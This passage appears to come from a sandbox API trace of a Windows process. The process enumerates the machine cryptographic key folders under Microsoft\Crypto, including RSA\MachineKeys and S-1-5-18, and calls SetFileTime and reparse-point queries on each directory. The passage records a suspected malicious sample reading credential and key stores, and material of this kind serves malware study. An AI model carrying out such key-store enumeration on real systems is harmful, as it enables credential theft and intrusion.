fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.262] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys" (normalized: "c:\\users\\all users\\microsoft\\crypto\\keys"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0091.263] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0091.263] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.263] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0091.263] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.263] NtClose (Handle=0x170) returned 0x0 [0091.264] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.264] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.264] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12faf48 [0091.264] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb168 [0091.264] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9140 [0091.264] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.264] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0091.265] GetLastError () returned 0x12 [0091.265] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9180 [0091.265] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0091.265] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.265] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0091.265] GetLastError () returned 0x12 [0091.265] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb168) returned 1 [0091.265] FindClose (in: hFindFile=0x2e9180 | out: hFindFile=0x2e9180) returned 1 [0091.265] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12faf48) returned 1 [0091.266] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.266] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfc65d150, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xfc65d150, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSA", cAlternateFileName="")) returned 1 [0091.266] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.266] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA" (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfc65d150, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xfc65d150, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.266] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA" (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0091.266] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0091.266] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.267] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0091.267] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.267] NtClose (Handle=0x17c) returned 0x0 [0091.267] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.267] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.268] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12faf48 [0091.268] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb168 [0091.268] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9180 [0091.268] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfc65d150, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xfc65d150, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.268] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MachineKeys", cAlternateFileName="")) returned 1 [0091.268] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfc65d150, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe5bc2f0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0xe5bc2f0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18", cAlternateFileName="")) returned 1 [0091.268] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfc65d150, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe5bc2f0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0xe5bc2f0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18", cAlternateFileName="")) returned 0 [0091.268] GetLastError () returned 0x12 [0091.268] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9140 [0091.268] FindClose (in: hFindFile=0x2e9180 | out: hFindFile=0x2e9180) returned 1 [0091.269] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfc65d150, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xfc65d150, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.269] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MachineKeys", cAlternateFileName="")) returned 1 [0091.269] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.269] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys" (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa\\machinekeys"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.269] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys" (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa\\machinekeys"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0091.269] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0091.269] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.270] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0091.270] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.270] NtClose (Handle=0x17c) returned 0x0 [0091.270] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb0e0) returned 1 [0091.270] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.270] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb1f0 [0091.271] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb278 [0091.271] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9180 [0091.271] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.271] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0091.271] GetLastError () returned 0x12 [0091.271] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f80 [0091.271] FindClose (in: hFindFile=0x2e9180 | out: hFindFile=0x2e9180) returned 1 [0091.271] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.271] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0091.271] GetLastError () returned 0x12 [0091.272] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb278) returned 1 [0091.272] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0091.272] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb1f0) returned 1 [0091.272] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb0e0) returned 1 [0091.272] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfc65d150, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe5bc2f0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0xe5bc2f0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18", cAlternateFileName="")) returned 1 [0091.272] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.273] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18" (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa\\s-1-5-18"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfc65d150, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe5bc2f0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0xe5bc2f0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.273] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18" (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa\\s-1-5-18"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0091.274] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0091.274] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.274] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0091.274] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.274] NtClose (Handle=0x174) returned 0x0 [0091.274] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb0e0) returned 1 [0091.275] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.275] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb1f0 [0091.275] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb278 [0091.275] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f80 [0091.275] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfc65d150, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe5bc2f0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0xe5bc2f0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.275] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xfc767af0, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xfc767af0, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xfc767af0, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", cAlternateFileName="")) returned 1 [0091.275] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1340e10 [0091.276] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb0e0) returned 1 [0091.276] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.276] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb0e0) returned 1 [0091.276] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.277] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb0e0) returned 1 [0091.277] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.277] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1354160 [0091.278] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb1f0) returned 1 [0091.278] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f67f8 [0091.278] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1354268 [0091.278] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb0e0) returned 1 [0091.278] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe5bc2f0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0xe5bc2f0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0xe5bc2f0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x41d, dwReserved0=0x0, dwReserved1=0x0, cFileName="d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", cAlternateFileName="")) returned 1 [0091.278] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.279] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb0e0) returned 1 [0091.279] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.279] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb0e0) returned 1 [0091.279] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.280] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f6818 [0091.280] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1354688 [0091.280] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb0e0) returned 1 [0091.280] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe5bc2f0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0xe5bc2f0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0xe5bc2f0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x41d, dwReserved0=0x0, dwReserved1=0x0, cFileName="d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", cAlternateFileName="")) returned 0 [0091.280] GetLastError () returned 0x12 [0091.280] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9180 [0091.281] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0091.281] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfc65d150, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe5bc2f0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0xe5bc2f0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.281] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xfc767af0, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xfc767af0, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xfc767af0, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", cAlternateFileName="")) returned 1 [0091.281] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe5bc2f0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0xe5bc2f0, 